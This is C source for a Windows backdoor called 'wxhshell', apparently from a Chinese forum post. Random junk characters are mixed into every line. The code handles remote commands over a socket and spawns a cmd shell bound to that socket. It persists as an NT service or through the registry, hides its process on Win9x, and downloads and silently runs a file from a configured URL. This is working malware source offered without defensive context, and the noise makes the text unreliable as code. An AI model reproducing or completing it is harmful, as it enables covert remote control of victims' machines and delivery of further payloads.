    switch(cmd[0]) { d*(\'6?  
  "8 mulE,  
  // 帮助 @{a-IW 3  
  case '?': { _Cs}&Bic_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T/6=A$4 #  
    break; "{xv|C<*n  
  }  ;I@L  
  // 安装 #E@i@'T  
  case 'i': { YfU#kvE'  
    if(Install()) k0uwG'(z9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oKJ7i,xT  
    else <|G~S<y}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J0! E@   
    break; 6EWB3.x19  
    } {EN@,3bA  
  // 卸载 0>MI*fnY"  
  case 'r': { N6 8>`  
    if(Uninstall()) "kg$s5o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D*Q#G/TF3  
    else /8HO7E+5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j]D =\  
    break; ,F Vy:"FR  
    } W+S; Do  
  // 显示 wxhshell 所在路径 0l@+xS;  
  case 'p': { lM%fgyX  
    char svExeFile[MAX_PATH]; -B(KQT,J  
    strcpy(svExeFile,"\n\r"); >D#}B1(!  
      strcat(svExeFile,ExeFile); X1dG'PQ  
        send(wsh,svExeFile,strlen(svExeFile),0); kweTK]mT  
    break; 28yxX431S  
    } jdf@lb=5l  
  // 重启 Z!eq/  
  case 'b': { w8ld* z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (32nI?)a  
    if(Boot(REBOOT)) 9?c^~77  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/ju it  
    else { .)zISa*Xy  
    closesocket(wsh); c3t8yifQ  
    ExitThread(0); _q4m7C<  
    } v |2j~  
    break; R!qrb26k  
    } (W!$6+GT  
  // 关机 [0#hgGO]P  
  case 'd': { Lc?O K"[m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Acv{XnB  
    if(Boot(SHUTDOWN)) tY=TY{RY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c10).zZ  
    else { Z?mg1;Q  
    closesocket(wsh); ;BVhkW A  
    ExitThread(0); j!)p NZW.<  
    } .x8$PXjPG  
    break; @/FX7O{n:  
    } d]`,}vi#E9  
  // 获取shell J,Ap9HJt  
  case 's': { ;P~S/j[ 8  
    CmdShell(wsh); Q>yt O'v1  
    closesocket(wsh); .Tv(1HAc2l  
    ExitThread(0); 9#6/c  
    break; #Q7$I.O]  
  } N Z`hy>LF^  
  // 退出 i`'^ zR(`i  
  case 'x': { oy: MM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2&URIQg*J  
    CloseIt(wsh); #{,IY03  
    break; V/e_:xECC  
    } ]L^M7SKE6  
  // 离开 w%n]~w=8  
  case 'q': { ,2bAKa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H/Q)zDP  
    closesocket(wsh); i@L2W>{P  
    WSACleanup(); /)TEx}wk  
    exit(1); }}1Q<puM  
    break; V}-o): dI|  
        } -~fI|A^  
  } ~\,6 C1M  
  } _6 `4_<c=  
pnJT]?},  
  // 提示信息 qTF>!o #\:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3PffQ,c[~  
} Z+(V \  
  } xltu g##  
FG:BRS<m~  
  return; ppKCY4  
} 1+($"$ZC&B  
Beg5[4@  
// shell模块句柄 *rT(dp!Y  
int CmdShell(SOCKET sock) gw T,D.'Ut  
{ V0i$"|F+ E  
STARTUPINFO si; wP"|$HN  
ZeroMemory(&si,sizeof(si)); F\bI6gj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GGtrH~zx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pSFWNWQ'B  
PROCESS_INFORMATION ProcessInfo; z?[DW*  
char cmdline[]="cmd"; k)Wz b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F DX+  
  return 0; 2Zip8f!  
} Iq \oB  
>~~\==".  
// 自身启动模式 mM>|fHGA  
int StartFromService(void) 4V8wB}y7e  
{ pr(\?\a  
typedef struct taaAwTtk?A  
{ DU8LU*q'  
  DWORD ExitStatus; S '+"+%^tj  
  DWORD PebBaseAddress; k1zt|  
  DWORD AffinityMask; ]5/U}Um  
  DWORD BasePriority; GJPZ[bo  
  ULONG UniqueProcessId; qCN7i&k,  
  ULONG InheritedFromUniqueProcessId; BxYA[#fd}  
}   PROCESS_BASIC_INFORMATION; Xm'K6JH'  
1H7Q[ 2E  
PROCNTQSIP NtQueryInformationProcess; Dj"=kL0  
I xBO$ 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n4y6Ua9m{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %;$Y|RbmqE  
_B FX5ifK  
  HANDLE             hProcess; 38i,\@p`9$  
  PROCESS_BASIC_INFORMATION pbi; a=VT|CX[  
v"~I( kf$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p5VSSvV\K  
  if(NULL == hInst ) return 0; u_=y,~s  
kZ%W?#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %tQ{Hf~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qe.kN dT+_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^?[<!VBI  
cLC7U?-  
  if (!NtQueryInformationProcess) return 0; NI:N W-!  
^I?y\:.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;NeEgqW "  
  if(!hProcess) return 0; MiM=fIuw@s  
][#*h`I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m]q!y3  
6qpV53H  
  CloseHandle(hProcess); $VIq)s2az|  
I]1Hi?A2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QC,(rB  
if(hProcess==NULL) return 0; KdsvZim0>  
"e<. n  
HMODULE hMod; z}8L}:  
char procName[255]; :=v{inN  
unsigned long cbNeeded; #q.G_-H4J@  
6*33k'=;F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _O9H. _E  
IkNt! 2s_  
  CloseHandle(hProcess); uA`PZ|  
ER1mA:8>E  
if(strstr(procName,"services")) return 1; // 以服务启动 Q.dy $`\  
N==_'`O1Q0  
  return 0; // 注册表启动 ^ZWFj?`\UV  
} V_622~Tc/[  
dU3 >h[q  
// 主模块 &novkkqY  
int StartWxhshell(LPSTR lpCmdLine) {bqKb=nyZ  
{ x]cZm^  
  SOCKET wsl; 8lSn*;S,  
BOOL val=TRUE; /C2f;h(1  
  int port=0; WTs[Sud/  
  struct sockaddr_in door; G11.6]?Gg  
_x1[$A,GuB  
  if(wscfg.ws_autoins) Install(); Al=? j#J6p  
y@\Q@ 9  
port=atoi(lpCmdLine); ?QT"sj64w  
HTyF<K  
if(port<=0) port=wscfg.ws_port; ~7WXjVZ  
#ic 2ofI  
  WSADATA data; >=:T ZU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QF/u^|f  
f,inQ2f}d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'oQP:*Btl3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s Xk?.A_D  
  door.sin_family = AF_INET; )pn7DIXG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ai  _fN  
  door.sin_port = htons(port); k&iScMgCTH  
,Ysl$^\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,T*_mDVY  
closesocket(wsl); VD3MJ8!w  
return 1; %7d@+ .  
} 3b\8907  
mCNf]Yz  
  if(listen(wsl,2) == INVALID_SOCKET) { 33*d/%N9  
closesocket(wsl); aX'g9E  
return 1; ww t()  
} ^H6d; n  
  Wxhshell(wsl); |QNLO#$ -  
  WSACleanup(); O| 6\g>ew  
05VOUa*pb  
return 0; BI.k On=  
D6)Cjc>a  
} S*m`'  
^~<Rzq!  
// 以NT服务方式启动 RzJ}CT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p6y0W`U  
{ &DQ4=/Z  
DWORD   status = 0; pkN:D+g S  
  DWORD   specificError = 0xfffffff; skD k/-*R  
v&b.Q:h*'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VFmg"^k5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xD= qU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OG^WZ.YU  
  serviceStatus.dwWin32ExitCode     = 0; ;(0(8G  
  serviceStatus.dwServiceSpecificExitCode = 0; ^HlLj#  
  serviceStatus.dwCheckPoint       = 0; %*6oUb  
  serviceStatus.dwWaitHint       = 0; nB@iQxcz  
$:BK{,\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _[vdY|_  
  if (hServiceStatusHandle==0) return; Lr}b,  
H"q`k5R  
status = GetLastError(); KWh M  
  if (status!=NO_ERROR) u ?G\b{$m  
{ v;bP8)mI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VXc+Wm*W  
    serviceStatus.dwCheckPoint       = 0; -Xxu/U})%  
    serviceStatus.dwWaitHint       = 0; <\d|=>;  
    serviceStatus.dwWin32ExitCode     = status; $,e?X}4  
    serviceStatus.dwServiceSpecificExitCode = specificError; q]i(CaKh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P 5qa:<  
    return; 9oz(=R  
  } ,D@ ;i  
f5yux}A{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |;.Pj 3)-  
  serviceStatus.dwCheckPoint       = 0; q 5v?`c  
  serviceStatus.dwWaitHint       = 0; *)`kx   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :m++ iR  
} TcKvSdr'  
`zzKD2y  
// 处理NT服务事件,比如:启动、停止 FSU%?PxO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0ve`  
{ BU]WN7]D$  
switch(fdwControl) *bxJ)9B  
{ }6CXJ+-UR  
case SERVICE_CONTROL_STOP: N;x<| %peL  
  serviceStatus.dwWin32ExitCode = 0; LE<u&9I\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~6-"i0k  
  serviceStatus.dwCheckPoint   = 0; si^4<$Nr%j  
  serviceStatus.dwWaitHint     = 0; Z`oaaO  
  { Od!F: <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^YG7dd_  
  } 5&?KW)6 Rz  
  return; (3N"oE.b]  
case SERVICE_CONTROL_PAUSE: .A*VLF*m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oGJ*Rn)Z  
  break; W%>i$:Qq  
case SERVICE_CONTROL_CONTINUE: ,5\2C{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eg2U+g4  
  break; Y%fVt|  
case SERVICE_CONTROL_INTERROGATE: {C/L5cZ]J  
  break; ~3'RW0  
}; z#{ 0;t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0;FqX*  
} GDHK.?GY  
YA"Ti9-EV  
// 标准应用程序主函数 %kK ][2e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +^4BO`   
{ 5oU`[&=Ob  
9|N" @0<B  
// 获取操作系统版本 R81{<q'%X  
OsIsNt=GetOsVer(); 5?5- ;H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wc7mJxJxA  
. 0 s[{x  
  // 从命令行安装 b46[fa   
  if(strpbrk(lpCmdLine,"iI")) Install(); hgweNRTh!  
.# 6n  
  // 下载执行文件 JO2ZS6k[  
if(wscfg.ws_downexe) { 7b&JX'`Mb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G`]v_`>  
  WinExec(wscfg.ws_filenam,SW_HIDE); x)ddRq l  
} |*tWF! D6`  
la\zaKC;>  
if(!OsIsNt) { xS;|j j9  
// 如果时win9x,隐藏进程并且设置为注册表启动 OU,PO2xX9  
HideProc(); 29Gwv  
StartWxhshell(lpCmdLine); ~!]&>n;=G  
} D!bKm[T  
else n+{HNr  
  if(StartFromService()) ~K~b`|1  
  // 以服务方式启动 qIbg 4uE  
  StartServiceCtrlDispatcher(DispatchTable); ~A`&/U  
else HzRX$IKB3(  
  // 普通方式启动 ?Oy'awf_  
  StartWxhshell(lpCmdLine); E0"10Qbi  
I 1b  
return 0; $J QWfGwR  
}
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只看该作者 1 发表于: 2006-10-10
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